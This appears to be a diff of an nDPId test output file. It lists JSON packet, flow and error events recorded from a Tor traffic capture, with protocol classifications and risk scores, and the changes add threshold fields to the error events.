00692{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_src_last_pkt_time":1383821733324487,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"thread_ts_usec":1383821733324487,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} 00905{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":656,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383821733324487,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":432,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821733485713,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":671,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821734213076} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":671,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821734087251,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00750{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":673,"source":"tor.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821734359648,"flow_src_last_pkt_time":1383821734359648,"flow_dst_last_pkt_time":1383821734359648,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1383821734359648,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"157.56.30.46","src_port":51104,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00514{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"tor.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_src_last_pkt_time":1383821734359648,"flow_dst_last_pkt_time":1383821734359648,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1383821734359648,"pkt":"UlQA2EYhUlQAWul3CABFAAAoBE1AAIAGeHjAqAH8nTgeLsegAbuzcgvfGiCX\/lAUAAD2+QAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":690,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821736213187} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":690,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821736176748,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":755,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821738213238} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":755,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821738213098,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":806,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821740212998} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":806,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821740176369,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":828,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821742213016} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":828,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821741917672,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 01030{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":842,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821693159821,"flow_src_last_pkt_time":1383821693159821,"flow_dst_last_pkt_time":1383821693159821,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":210,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":210,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":210,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821743527179,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System"}} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":848,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821744213025} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":848,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821744083404,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00182{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":889,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821746213762} -00348{"packet_event_id":1,"packet_event_name":"packet","packet_id":889,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821746178912,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1027,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821748212997} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1027,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821748103193,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1054,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821750212972} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1054,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821750028641,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1069,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821752213197} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1069,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821752032692,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1074,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821754213011} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1074,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821752949522,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1093,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821756213011} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1093,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821756147514,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1106,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821758213236} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1106,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821757892774,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1124,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821760213003} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1124,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821760056499,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1204,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821762212987} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1204,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821762157897,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1389,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821764213182} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1389,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821764094657,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1540,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821766213046} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1540,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821766193561,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1709,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821768213010} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1709,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821768150900,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1807,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821770213739} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1807,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821770180911,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1817,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821772213086} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1817,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821771201495,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1818,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821774213020} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1818,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821771201495,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 02517{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":1820,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"finished","flow_src_packets_processed":15,"flow_dst_packets_processed":17,"flow_first_seen":1383821666407384,"flow_src_last_pkt_time":1383821774388112,"flow_dst_last_pkt_time":1383821702813857,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":3946,"flow_dst_tot_l4_payload_len":5300,"midstream":0,"thread_ts_usec":1383821774388112,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":90,"avg":4657651.5,"max":71328355,"stddev":14789051.0,"var":218716025389056.0,"ent":1.8,"data": [73367,74408,357,74070,3203,80209,86098,83238,77261,90,76164,838,117183,116350,75240,23977,101877,114494,465564,429267,3455,80828,117031,388775,507320,75910,393949,666205,34353103,34399015,71328355]},"pktlen": {"min":40,"avg":330.6,"max":1500,"stddev":347.1,"var":120444.2,"ent":4.2,"data": [52,52,46,262,40,789,174,99,114,1500,142,46,626,40,626,40,626,626,40,626,40,626,626,40,626,626,40,626,46,626,46,46]},"bins": {"c_to_s": [6,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [8,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,0,0],"entropies": [4.540081024,4.892440796,4.398030758,5.485852242,4.734183788,7.345484734,6.684501171,5.938382626,6.188065529,7.865236759,6.545697212,4.398030758,7.637940407,4.784183979,7.634158611,4.784183979,7.710437775,7.659512520,4.784183979,7.657443523,4.834184170,7.637063503,7.660885811,4.834184170,7.674984455,7.682085514,4.765312195,7.644844532,4.544876099,7.636578560,4.347350597,4.457919598]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1828,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821776213090} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1828,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1829,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821778213143} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1829,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1830,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821780213263} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1830,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1831,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821782213065} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1831,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1832,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821784213182} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1832,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1833,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821786213089} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1833,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821774532755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1835,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822124212807} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822124212807,"packet_id":1835,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822124212807} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1835,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822123915516,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1836,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822126212337} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822126212337,"packet_id":1836,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822126212337} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1836,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822123915516,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1837,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822128212399} +00283{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383822128212399,"packet_id":1837,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822128212399} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1837,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822123915516,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00753{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1840,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383822129889928,"flow_src_last_pkt_time":1383822129889928,"flow_dst_last_pkt_time":1383822129889928,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822129889928,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"212.83.155.250","src_port":51174,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00522{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1840,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_src_last_pkt_time":1383822129889928,"flow_dst_last_pkt_time":1383822129889928,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383822129889928,"pkt":"UlQA2EYhUlQAWul3CABFAAA0CJdAAIAGvzrAqAH81FOb+sfmAbsbVwNmAAAAAIACIAAzvwAAAgQFtAEDAwgBAQQC"} @@ -179,7 +83,7 @@ 01389{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1847,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383822129897135,"flow_src_last_pkt_time":1383822129972457,"flow_dst_last_pkt_time":1383822129961527,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":213,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":213,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822129972457,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51175,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": 